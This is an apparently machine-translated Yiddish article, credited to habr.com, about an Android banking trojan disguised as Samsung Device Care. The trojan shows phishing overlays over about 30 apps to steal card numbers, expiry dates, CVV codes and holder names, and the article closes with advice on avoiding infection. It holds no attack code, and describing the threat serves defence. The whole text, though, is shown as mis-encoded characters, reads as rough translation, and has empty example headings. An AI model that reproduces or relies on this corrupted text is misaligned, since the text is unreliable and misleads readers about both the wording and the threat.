- ืื ืืจืึธืืืฉืึทื ืกืืืืึทืืืืฅ ืืจืื ืืืขื ืื ืฆืืจืืง ืืื ืืืื ืงื ืขืคึผื ืืืื ืื ืืขืฉืขืขื ืืฉ ืืื ืืืฉืขื ืขืจืืืืึทื ืืืจื ืื ืึทืคึผืืึทืงืืืฉืึทื Samsung Device Care.
- ืคืึทื ืืึท ืงืจืืืืฅ ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืืื ืคืืจืืขื ืฆื ืึทืจืืึทื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืืึทื ืง ืงืึทืจืืก ืืืื ืึท ืึทืคึผืืึทืงืืืฉืึทื ืคืื ืึท ืจืฉืืื ืคืื ืืืขืื 30 ืคืึทืจืฉืืืขื ืข ืืื ืืขืจื ืขื ืืึทืืื ืื ืืก ืืื ืืึธื ืืฉื. ืฆืืืืฉื ืืื: AliExpress, Booking, Avito, Google Play Market Component, Pandao, Drom Auto, ืขืืง.
ืคืืฉืื ื ืคืืจืืขื
ืคืึทื ืืึท ืึทื ืึทืืืืขืก ืืืึธืก ืึทืคึผืืึทืงืืืฉืึทื ื ืืืืคื ืืืืฃ ืื ืื ืคืขืงืืึทื ืืืื. ืืืื ืึท ืึทืคึผืืึทืงืืืฉืึทื ืคืื ืืื ืืขืจืขืก ืืื ืืขืขืคื ื, ืื ืืจืึธืืืฉืึทื ืืืกืคึผืืืื ืึท ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืืืืฃ ืฉืคึผืืฅ ืคืื ืึทืืข ืื ืืขืจืข, ืืืึธืก ืืื ืึท ืคืึธืจืขื ืคึฟืึทืจ ืึทืจืืึทื ืืึทื ืง ืงืึทืจืื ืืื ืคึฟืึธืจืืึทืฆืืข. ืืขืจ ืืึทื ืืฆืขืจ ืืืื ืึทืจืืึทื ืื ืคืืืืขื ืืข ืืึทืื:
- ืงืืจื ื ืืืขืจ
- ืงืึธืจื ืขืงืกืคึผืืืจื ืืึธื
- ืงืืืื
- ืงืึทืจืืืึธืืืืขืจ ื ืึธืืขื (ื ืื ืคึฟืึทืจ ืึทืืข ืืึทื ืงืก)
ืืขืคึผืขื ืืื ื ืืืืฃ ืื ืคืืืกื ืืืง ืึทืคึผืืึทืงืืืฉืึทื, ืคืึทืจืฉืืืขื ืข ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืืืขื ืืืื ืืขืืืืื. ืืื ืื ืืขื ืขื ืืืืฉืคืืื ืคืื ืขืืืขืืข ืคืื โโืืื:
Aliexpress:
ืึทืืืืืึธ:
ืคึฟืึทืจ ืขืืืขืืข ืื ืืขืจืข ืึทืคึผืืึทืงืืืฉืึทื ื, ืืืฉื. Google ืคึผืืืึท ืืึทืจืงืขื, Aviasales, Pandao, ืืืงืื ื, ืืจืืืืึทืืึธ:
ืืื ืขืก ืืึทืงืข ืืื ืืขืืืขื
ืฆืื ืืืืง, ืืขืจ ืืขื ืืฉ ืืืึธืก ืืืงืืืขื ืื SMS ืึธื ืืึธื ืืืกืงืจืืืื ืืื ืื ืึธื ืืืื ืคืื ืืขื ืึทืจืืืงื ืืื ืืขืืืขื ืึท ืืืืืข ืืื ืกืืืืขืจืกืขืงืืจืืื. ืืขืจืืืขืจ, ืื ืคืึทืงืืืฉ, ื ืื-ืืืจืขืงืืึธืจ ืก ืืืขืจืกืืข ืืื ืึทื ืืขืจืฉ ืคืื ืื ืคืจืืขืจ ืืขืืึธืื: ืึท ืืขื ืืฉ ืืืงืืืขื ืึท ืืฉืืงืึทืืืข SMS, ื ืึธื ืืืึธืก ืขืจ ืืขืืขืื ืขืก ืฆื ืื ืืจืืคึผืข-IB Threat Hunting Intelligence ืืึทื ืฉืึทืคึฟื. ืืขืจ ืจืขืืืืืึทื ืคืื ืื ืืึทืคืึทืื ืืื ืืขื ืึทืจืืืงื. ืืื ืกืึธืฃ, ืจืขืื? ืึธืืขืจ, ื ืื ืึทืืข ืืขืจืฆืืืืื ืืขื ืขื ืืืงื ืืื ืึทืืื ืืฆืืื, ืืื ืึทืืื ืึทื ืืืึทื ืืึธื ื ืืฉื ืงืืงื ืืื ืึท ืจืขืืฉืืกืึธืจ ืืื ืึท ืึธื ืืืขืจ ืคืื ืืขืื, ืืื ืจืืึฟ ืงืึทืกืขืก ืขืก ืืื ืืขื ืื ืฆื ื ืึธืืคืึธืืื ืื ืคืืืืขื ืืข ืืึทื ื-ืืืกืงืจืืืื ืึผืืืื:
- ืืึธื ื ืื ืื ืกืืึทืืืจื ืึทืคึผืืึทืงืืืฉืึทื ื ืคึฟืึทืจ ืึท ืจืืจืขืืืืืง ืืืื ืืื ืึทื ืืจืืื ืึทืก ืคึฟืื ืงืืื ืื ืืขืจืข ืงืืืืื ืืื Google ืคึผืืืึท
- ืืืขื ืืืจ ืื ืกืืึทืืืจื ืึท ืึทืคึผืืึทืงืืืฉืึทื, ืืึทืฆืึธืื ืกืคึผืขืฆืืขื ืืคืืขืจืงืืึทืืงืืื ืฆื ืื ืจืขืื ืคืืจืืื ืื ืืืจื ืื ืึทืคึผืืึทืงืืืฉืึทื
- ืืึทืฆืึธืื ืืคืืขืจืงืืึทืืงืืึทื ืฆื ืื ืืงืกืืขื ืฉืึทื ื ืคืื ืืึทืื ืืึธืืืื ืืขืงืขืก
- ืื ืกืืึทืืืจื ืึทื ืืจืืื ืึทืก ืืขืจืืืึทื ืืืงืื ืืขื ืงืขืกืืืืขืจ
- ืืึธื ื ืื ืืึทืืืื ืกืึทืกืคึผืืฉืึทืก ืจืขืกืืจืกื ืืื ืืึธื ื ืื ืืจืืคืงืืคืืข ืืขืงืขืก ืคึฟืื ืืึธืจื
- ืื ืืืืกื ื ืืฉื ืืื ืืืืฃ ืืื ืงืก ืืืงืืืขื ืืื SMS ืึทืจืืืงืืขื.
ืืงืืจ: www.habr.com